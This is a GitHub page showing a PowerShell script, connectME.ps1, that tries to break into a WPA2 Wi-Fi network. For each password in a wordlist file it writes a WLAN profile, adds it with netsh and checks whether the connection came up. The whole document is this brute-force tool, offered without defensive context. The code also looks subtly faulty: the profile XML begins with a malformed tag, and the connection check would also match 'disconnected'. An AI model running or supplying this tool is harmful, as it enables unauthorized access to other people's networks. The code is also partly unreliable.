-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathconnectME.ps1
61 lines (55 loc) · 1.67 KB
/
connectME.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
param (
[string]$ssid,
[string]$passwordFile
)
function Connect-ToWifi {
param (
[string]$ssid,
[string]$passwordFile
)
$passwords = Get-Content $passwordFile
foreach ($password in $passwords) {
Write-Host "Testing password: $password"
$cmd = "netsh wlan add profile filename=`"$ssid.xml`""
$xml = @"
< WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>$ssid</name>
<SSIDConfig>
<SSID>
<name>$ssid</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<security>
<keyManagement>wpa2psk</keyManagement>
<sharedKey>
<keyType>passPhrase</keyType>
<key>$password</key>
</sharedKey>
</security>
</WLANProfile>
"@
$xml | Out-File -FilePath "$ssid.xml" -Encoding utf8
Invoke-Expression $cmd
Start-Sleep -Seconds 5
$status = netsh wlan show interfaces | Select-String "State" | ForEach-Object { $_.ToString().Trim() }
if ($status -like "*connected*") {
Write-Host "Connected to the network $ssid with the password $password"
return $true
} else {
Write-Host "The password $password is not valid"
}
}
Write-Host "None of the passwords provided are valid"
return $false
}
if ($ssid -and $passwordFile) {
if (Connect-ToWifi -ssid $ssid -passwordFile $passwordFile) {
Write-Host "Connection successful!"
} else {
Write-Host "Could not connect"
}
} else {
Write-Host "Usage: .\connectME.ps1 -ssid <SSID> -passwordFile <password_file>"
}